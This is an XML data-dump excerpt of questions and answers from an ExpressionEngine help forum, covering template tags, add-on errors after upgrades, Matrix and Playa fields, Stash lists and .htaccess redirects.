  <row Id="13529" PostTypeId="2" ParentId="13528" CreationDate="2013-09-06T01:14:04.137" Score="1" Body="&lt;p&gt;From memory Geofinder extends the channel:entries tag, so you should be able to use the search parameter to only find those which have a value for 'my_field' - instead of using the conditional inside.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:geofinder:location_results search:my_field=&quot;not IS_EMPTY&quot;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should give you the correct counts etc. hopefully :)&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-09-06T01:14:04.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13530" PostTypeId="2" ParentId="13523" CreationDate="2013-09-06T05:28:09.693" Score="0" Body="&lt;p&gt;I'll take a look at the code and I'll try to walk through this scenario, but as far as I can remember, when you encounter an Assets image that has no thumbnail and resides on S3, the thumbnail still should be generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the cache folder set to 777 permissions? Empty or not, it still should be there and be writable as per EE's user guide (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/installation.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/installation/installation.html&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-09-06T05:28:09.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13531" PostTypeId="2" ParentId="13521" CreationDate="2013-09-06T06:28:11.380" Score="1" Body="&lt;p&gt;What kind of field are you storing these in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Freeform Pro and a Multi-select field, it supports a tag pair for the selected data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#multi-select_attr_name&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/default_fieldtypes/#multi-select_attr_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its a standard textarea field and you are just using the array input, its going to store it as regular text with no way by default to split it on output. It's going to come out as if it was all written at once in the textarea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Notifications are ran as full templates as of Freeform 4 and you could use something along the lines of the PHPStringFun addon to explode the string output: &lt;a href=&quot;http://devot-ee.com/add-ons/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/phpstringfun&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-06T06:28:11.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13532" PostTypeId="2" ParentId="13524" CreationDate="2013-09-06T08:17:29.183" Score="2" Body="&lt;p&gt;Right, I think I just solved the problem. It turns out it was some kind of problem with the way 1&amp;amp;1 handled requests without the 'www' portion of a url. I added the following lines to my .htaccess file and all now seems to be working&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank god.&lt;/p&gt;&#xA;" OwnerUserId="2007" LastActivityDate="2013-09-06T08:17:29.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13533" PostTypeId="1" AcceptedAnswerId="13541" CreationDate="2013-09-06T08:29:21.930" Score="0" ViewCount="47" Body="&lt;p&gt;I've setup a page that shows news from four different sites that are all within the same MSM (Multi site manager) build, the page is working great but I want to be able to filter by site. I basically want the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News listing (domain.com/all-news)&#xA;- news from all sites&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News listing filtered (domain.com/all-news/site1)&#xA;- news from one site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or alternatively it would be great to have the filters working with ajax&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-09-06T11:42:15.993" Title="Filtering MSM articles by site" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13534" PostTypeId="1" CreationDate="2013-09-06T08:31:37.653" Score="2" ViewCount="348" Body="&lt;p&gt;I see this in pages where I have Safecracker forms&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: require_once(/home/dsvrtwo/public_html/system/expressionengine/third_party/safecracker/mod.safecracker.php) [function.require-once]: failed to open stream: No such file or directory&#xA;&#xA;Filename: libraries/Template.php&#xA;&#xA;Line Number: 1011&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why it is still pointing to &quot;safecracker&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Channel Form &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;documentation page&lt;/a&gt;, I don't see any opening/closing tag documentation. Am I supposed to rename my Safecracker forms?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I found this &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/examples.html&quot; rel=&quot;nofollow&quot;&gt;Channel Form examples page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried renaming my tag to &lt;code&gt;{exp:channel:form}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I get 2 new errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined property: Channel_form_lib::$EE&#xA;Filename: safecracker_registration/ext.safecracker_registration.php&#xA;Line Number: 125&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Trying to get property of non-object&#xA;Filename: safecracker_registration/ext.safecracker_registration.php&#xA;Line Number: 125&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-09-06T08:40:26.643" LastActivityDate="2014-02-11T20:18:01.493" Title="Safecracker error after upgrading from 2.5.5 to 2.7" Tags="|safecracker|2.7.0|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13536" PostTypeId="1" CreationDate="2013-09-06T09:52:14.043" Score="1" ViewCount="199" Body="&lt;p&gt;We are using ObjectiveC's Google Maps module and fieldtype &lt;a href=&quot;http://devot-ee.com/add-ons/google-maps&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/google-maps&lt;/a&gt;, which allows a user to choose a location on a map to obtain the longitude and latitude which is saved to the entry (the longitude and latitude is used in search results for a &quot;results near x miles&quot; list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our users are already entering an address to display for the listing, so is it possible for the Google Maps add-on to automatically get the lat and long from the address so we do not have to offer the map for them to pick a location in addition to entering their address? &lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2013-09-08T13:46:03.053" LastActivityDate="2013-09-08T14:49:20.640" Title="Can the Map Location be Automatically Obtained Using Address, in Objective HTML's Google Maps?" Tags="|google-maps-for-ee|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13537" PostTypeId="2" ParentId="13507" CreationDate="2013-09-06T09:55:41.927" Score="1" Body="&lt;p&gt;Sounds like the actual Server Path setting is incorrect; not just a permissions issue. Ensure that it’s correct and then try updating Assets’ indexes for that directory.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-09-06T09:55:41.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13538" PostTypeId="1" CreationDate="2013-09-06T10:23:26.497" Score="0" ViewCount="63" Body="&lt;p&gt;I've created a custom fieldtype for &quot;links&quot; which have three input fields (URL, label and target). It works very well and I've now added the only required method to the class in Matrix which is display_cell() (according to the &lt;a href=&quot;http://docs.pixelandtonic.com/matrix/developers/celltypes.html#display_cell&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;My field displays fine, but when I save the entry and edit it again, no data is present in my field.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add &lt;strong&gt;save_cell()&lt;/strong&gt; to my class and return some debug data, it is saved to the entry and displayed, but if I just return the data that it is supposed to receive in the method params, I get nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can, however, force the data to save by fetching it from the post array, as shown here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_cell($data)&#xA;{&#xA;    return json_encode(ee()-&amp;gt;input-&amp;gt;post($this-&amp;gt;settings['field_name']));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, I don't want to do this but &lt;code&gt;$data&lt;/code&gt; is always empty! Any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Mat&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I've answered this below&lt;/p&gt;&#xA;" OwnerUserId="1927" LastEditorUserId="1927" LastEditDate="2013-09-06T11:37:08.740" LastActivityDate="2013-09-06T11:37:08.740" Title="Why is my custom fieldtype in a matrix cell not receiving data?" Tags="|matrix|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13539" PostTypeId="2" ParentId="10882" CreationDate="2013-09-06T11:12:53.253" Score="1" Body="&lt;p&gt;Ok found a simpler way to get this to work&#xA;with an embed (have not tested with native EE search)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://getsatisfaction.com/low/topics/limiting_search_results_by_matrix_column_data&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/low/topics/limiting_search_results_by_matrix_column_data&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pastie.org/4228399&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/4228399&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-09-06T11:12:53.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13540" PostTypeId="2" ParentId="13538" CreationDate="2013-09-06T11:35:41.097" Score="1" Body="&lt;p&gt;Resolved!&#xA;I wasn't using &lt;strong&gt;$this-&gt;cell_name&lt;/strong&gt; when displaying my field in &lt;strong&gt;display_cell()&lt;/strong&gt; so EE wasn't able to get the data from the form because it had the wrong name.&#xA;The method shown in my question will try to get the data from the matrix &lt;em&gt;field&lt;/em&gt;, not the &lt;em&gt;row&lt;/em&gt; within the matrix field. The actual name of a cell within a matrix ROW looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;field_id_35[row_id_85][col_id_14][url]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[url] is an array element I added to split the field into three parts (url,label,target).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my save function just returns $this-&gt;save($data) because I don't need to do anything different to the save() method (which simply json_encodes the three parts).&lt;/p&gt;&#xA;" OwnerUserId="1927" LastActivityDate="2013-09-06T11:35:41.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13541" PostTypeId="2" ParentId="13533" CreationDate="2013-09-06T11:42:15.993" Score="2" Body="&lt;p&gt;Seems like you could use a combination of conditionals, the site= parameter, and  a segment variable.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-09-06T11:42:15.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13542" PostTypeId="1" AcceptedAnswerId="13543" CreationDate="2013-09-06T14:43:08.330" Score="1" ViewCount="55" Body="&lt;p&gt;Matrix 2.5.6&#xA;EE 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a matrix field that is behaving strangely. It only outputs one row despite having multiple rows added and then only outputs the cell names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've copied and pasted the field name and cell names to the template so that there is no chance of typos, but still it doesn't work as expected. I've also created a duplicate matrix field and inserted content into an entry and it behaves the same. There is however another matrix in the same entry with different content that works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code is below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          &amp;lt;ul&amp;gt;&#xA;          {near_hotels}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;{hotel}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          {near_hotels}&#xA;          &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've attached a screenshot of the cell settings&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KE7dp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-09-06T14:45:10.390" Title="Matrix outputting cell names not content and only one row" Tags="|matrix|template-scripting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13543" PostTypeId="2" ParentId="13542" CreationDate="2013-09-06T14:45:10.390" Score="2" Body="&lt;p&gt;You’re missing the “/” in “{/near_hotels}”.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-09-06T14:45:10.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13544" PostTypeId="1" CreationDate="2013-09-06T14:47:01.187" Score="2" ViewCount="203" Body="&lt;p&gt;I want to create a multilanguage ecommerce site.&#xA;I really like the multilanguage- approach mentioned here: &lt;a href=&quot;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the idea of not duplicating menu- structures and pages etc. The only problem is how to make an ecommerce add-on compatible with the approach mentioned above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible with ee (without creating the ecommerce add-on all by myself)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if so what is the best combination (which add-ons should I use)?&lt;/p&gt;&#xA;" OwnerUserId="2012" LastActivityDate="2013-10-09T10:55:36.873" Title="Best combination for multilanguage ecommerce site?" Tags="|ee2|ecommerce|multi-language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13545" PostTypeId="1" AcceptedAnswerId="13559" CreationDate="2013-09-06T14:51:24.520" Score="2" ViewCount="327" Body="&lt;p&gt;So, I wasn't sure if this was just a version problem or something (using EE 2.7 and Store 1.6.4 - the latest). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to add items to my cart, they aren't successfully added and the network inspector shows that the POST is being 302 redirected to a GET. I tried a variety of htaccess setups, including not having one at all putting the index.php back into the URL. Nothing seems to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the POST data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ACT 41&#xA;RET products/my-product-page&#xA;XID 32e30b64c0bdc8d9c5912d91c3764ad4b3c194b4&#xA;_params JklZbhzeb7aea+I4IB82StmfY1Bt/4jVC9XT2EbcV+2jeMX3Q7EKeZa1LWwiLh8f59h6n8Xsuaz6Rw0guwFpEcECKeZgLN+OS3uk8QTCaXfx0p5UR+jTgFl0uB/QVDedMkUuXXpki2aPaFrUgy3UT4unGSK+juDkn+zDQUrKRWqVjoHVguKqoxKI2LuFQJPELKTP0tPbhBFdXSYMUYw1213qV8VMWQPV4XKLmuTMyt4YprL/Kh8jy3AkiNaOem8JaClZfaunEZlM+ehf+9FG8SyzwmsRm4SefiwhY8V2wHI=&#xA;entry_id    40&#xA;item_qty    1&#xA;modifiers_3 10&#xA;return_url  store/checkout&#xA;site_id 1&#xA;submit  Add to Cart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The URL for both the POST and GET are exactly the same. No differing slashes or anything. Using PHP 5.3.22 and Apache. &lt;/p&gt;&#xA;" OwnerUserId="1354" LastEditorUserId="150" LastEditDate="2013-09-07T01:32:18.007" LastActivityDate="2013-09-07T01:32:18.007" Title="Can't add items to a cart with EE 2.7 - Expresso Store" Tags="|expresso-store|htaccess|expresso|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13546" PostTypeId="1" CreationDate="2013-09-06T14:54:10.053" Score="1" ViewCount="79" Body="&lt;p&gt;After updating EE from 2.6.1 to 2.7. the Content Elements Richtext-field lost the formatting buttons. I updated CE to 1.5.5 but the buttons are still missing.&#xA;When I add a standard EE Richtext field the buttons are available.&#xA;I installed and uninstalled CE but that didn´t help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t6OfN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2014-02-14T16:33:17.010" Title="EE 2.7 / Krea Content Elements 1.5.5: Rich Text formating Buttons missing after updating" Tags="|richtext|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13547" PostTypeId="2" ParentId="13424" CreationDate="2013-09-06T15:08:03.513" Score="0" Body="&lt;p&gt;Here´s how I solved the problem: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I made the image a Matrix field named &lt;code&gt;intro_bild&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;thematisch_passend&lt;/code&gt; is the name of the EE-relationsship field. This&#xA;field is used by the editors to pick related articles.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ib_file&lt;/code&gt; stands for intro_bild file. This the file upload field.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This code works for me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{!--  ============================================&#xA;  STORE A LIST OF RELATED ARTICLES INTO A LIST&#xA;================================================= --}&#xA;{!-- first the manually chosen ones --}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;artikel&quot;}&#xA;      {exp:stash:set_list name=&quot;rels&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;        {thematisch_passend status=&quot;not closed&quot;}&#xA;          {stash:the-title}{thematisch_passend:title}{/stash:the-title}&#xA;          {stash:the-url-title-path}{thematisch_passend:url_title_path='artikel/index'}{/stash:the-url-title-path}&#xA;          {stash:the-image}{thematisch_passend:intro_bild var_prefix=&quot;mx&quot; limit=&quot;1&quot;}{mx:ib_file}{/thematisch_passend:intro_bild}{/stash:the-image}&#xA;&#xA;        {/thematisch_passend}&#xA;      {/exp:stash:set_list}    {/exp:channel:entries}  &#xA;&#xA;{!-- next append the automatically chosen ones to the same list. No need for more than 4 --} {exp:channel:entries channel=&quot;artikel&quot; related_categories_mode=&quot;yes&quot; custom_fields=&quot;yes&quot; limit=&quot;4&quot; status=&quot;open|featured&quot;}&#xA;    {exp:stash:append_list name=&quot;rels&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;        {stash:the-title}{title}{/stash:the-title}&#xA;        {stash:the-url-title-path}{url_title_path='artikel/index'}{/stash:the-url-title-path} {stash:the-image}&#xA;                    {intro_bild}&#xA;                        {ib_file}&#xA;                    {/intro_bild} {/stash:the-image}&#xA;    {/exp:stash:append_list} {/exp:channel:entries}&#xA;&#xA;{!--  ============================================ OUTPUT THE DATA&#xA;================================================== --}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;} &amp;lt;ul class=&quot;small-block-grid-2 large-block-grid-4&quot;&amp;gt; {exp:stash:get_list name=&quot;rels&quot; unique=&quot;yes&quot; limit=&quot;4&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{the-url-title-path}&quot; title=&quot;Den gesamten Artikel &amp;amp;quot;{the-title}&amp;amp;quot; lesen&quot;&amp;gt;{exp:imgsizer:size src=&quot;{the-image}&quot; width=&quot;200&quot;}&amp;lt;img src=&quot;{sized}&quot; width=&quot;{width}&quot; alt=&quot;Den gesamten Artikel &amp;amp;quot;{the-title}&amp;amp;quot; lesen&quot; /&amp;gt;{/exp:imgsizer:size}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;h6 class=&quot;subheader&quot;&amp;gt;&amp;lt;a href=&quot;{the-url-title-path}&quot;&amp;gt;{the-title}&amp;lt;/a&amp;gt;&amp;lt;/h6&amp;gt;&amp;lt;/li&amp;gt; {/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt; {/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-09-06T15:08:03.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13548" PostTypeId="1" AcceptedAnswerId="13650" CreationDate="2013-09-06T15:08:10.623" Score="2" ViewCount="324" Body="&lt;p&gt;I have a User registration form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:register &#xA;    return='member/register/pending'&#xA;    admin_register='yes'&#xA;    required='m_firstname|m_lastname|username|email|password|password_confirm'&#xA;    error_page='notifications/user-error'&#xA;}&#xA;        {!-- form fields --}&#xA;{/exp:user:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Submitting a successful form returns the correct &lt;code&gt;member/register/pending&lt;/code&gt; template, but submitting a form with errors returns a blank page at the site's root (&lt;code&gt;http://mysite.com/&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my error template; the &lt;code&gt;{if ajax}&lt;/code&gt;/&lt;code&gt;{if not_ajax}&lt;/code&gt; tags are from Mo' Variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Error template for the User module --}&#xA;{!-- if the template is requested with Ajax, return JSON data. Otherwise, display a normal page --}&#xA;{if ajax}&#xA;    {exp:http_header content_type='application/json'}&#xA;    {&#xA;        &quot;success&quot;: false, &#xA;        &quot;heading&quot;: &quot;{heading}&quot;, &#xA;        &quot;message&quot;: &quot;{content}&quot;&#xA;    }&#xA;{/if}&#xA;&#xA;{if not_ajax}&#xA;    {embed='_global/document_head' page_title='{title}'}&#xA;    &amp;lt;body class=&quot;single&quot;&amp;gt;&#xA;    {header}&#xA;&#xA;    &amp;lt;article class=&quot;bizness&quot;&amp;gt;&#xA;        &amp;lt;header&amp;gt;&#xA;            &amp;lt;h1&amp;gt;{heading}&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;/header&amp;gt;&#xA;        {content}&#xA;        {link}&#xA;    &amp;lt;/article&amp;gt;&#xA;&#xA;    {footer}&#xA;    {global_scripts}&#xA;    {document_foot}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Debugging doesn't return anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User 3.4.4&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-09-10T15:36:08.347" LastActivityDate="2013-09-11T02:02:02.057" Title="Solspace User: Blank Error Page After Submitting Registration Form" Tags="|solspace|solspace-user|white-screen-of-death|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13549" PostTypeId="1" AcceptedAnswerId="13551" CreationDate="2013-09-06T15:22:39.333" Score="1" ViewCount="715" Body="&lt;p&gt;I must be looking at code for too long. I'm sure there's a simple solution to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a regular page entry, where I select an organization through a playa single select.&lt;br&gt;&#xA;An organization entry can have people assigned to it.&lt;br&gt;&#xA;I want to show the organization's people on my page entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot;}&#xA;&#xA;  Displaying people in organization ID: {related_organization:child_ids}.&#xA;&#xA;  {exp:playa:parents channel=&quot;people&quot; entry_id=&quot;{related_organization:child_ids}&quot;}&#xA;    {title}&amp;lt;br /&amp;gt;&#xA;    {if no_parents}No results{/if}&#xA;  {/exp:playa:parents}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The playa field outside the tag shows me the correct &lt;code&gt;child_ids&lt;/code&gt;.&lt;br&gt;&#xA;The &lt;code&gt;exp:playa:parents&lt;/code&gt; tag renders no results.&lt;br&gt;&#xA;If I hard code the entry ID in the &lt;code&gt;entry_id&lt;/code&gt; parameter, it works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do &lt;code&gt;entry_id=&quot;4321|1234|{related_organization:child_ids}&quot;&lt;/code&gt;, I can see in my DB queries log that it is not even rendering &lt;code&gt;{related_organization:child_ids}&lt;/code&gt; at all.&lt;br&gt;&#xA;It shows &lt;code&gt;... WHERE rel.child_entry_id IN (4321,1234) ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; doesn't have any effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't the tag working inside the parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;br&gt;&#xA;Using an embed seems to work. But no one likes embeds anymore.&lt;br&gt;&#xA;Using an equivalent stash embed doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-09-06T17:04:37.777" LastActivityDate="2013-09-06T17:18:21.867" Title="Playa Parents entry_id using child ids" Tags="|playa|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13550" PostTypeId="2" ParentId="13525" CreationDate="2013-09-06T16:30:08.310" Score="0" Body="&lt;p&gt;Ah, I figured this out - nothing to do with caching. The main config directory on the live site was set up as a symbolic link with the actual config directory in the web root. That completely threw me off because it looked like there were 2 config directories in my FTP program. I was changing the one in the root and had actually downloaded and uploaded the directories in both spots instead of recreating the symbolic link. &lt;/p&gt;&#xA;" OwnerUserId="2009" LastActivityDate="2013-09-06T16:30:08.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13551" PostTypeId="2" ParentId="13549" CreationDate="2013-09-06T17:17:56.597" Score="2" Body="&lt;p&gt;It's a parse order issue, related to the way Playa handles its fieldtype tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Playa fieldtype actually takes its &lt;code&gt;{related_organization:child_ids}&lt;/code&gt; tag and converts it into a module call: &lt;code&gt;{exp:playa:child_ids field=&quot;related_organization&quot;}&lt;/code&gt;, which the EE parser will then execute. So you are effectively doing this in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;people&quot; entry_id=&quot;{exp:playa:child_ids field='related_organization'}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see why that wouldn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend using stash, rather than an embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot;}&#xA;&#xA;  {exp:stash:set name=&quot;child_ids&quot; parse_tags=&quot;yes&quot;}&#xA;    {related_organization:child_ids}&#xA;  {/exp:stash:set}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:parse name=&quot;child_ids&quot; process=&quot;end&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:playa:parents channel=&quot;people&quot; entry_id=&quot;{stash:child_ids}&quot;}&#xA;    {title}&amp;lt;br /&amp;gt;&#xA;  {/exp:playa:parents}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-09-06T17:17:56.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
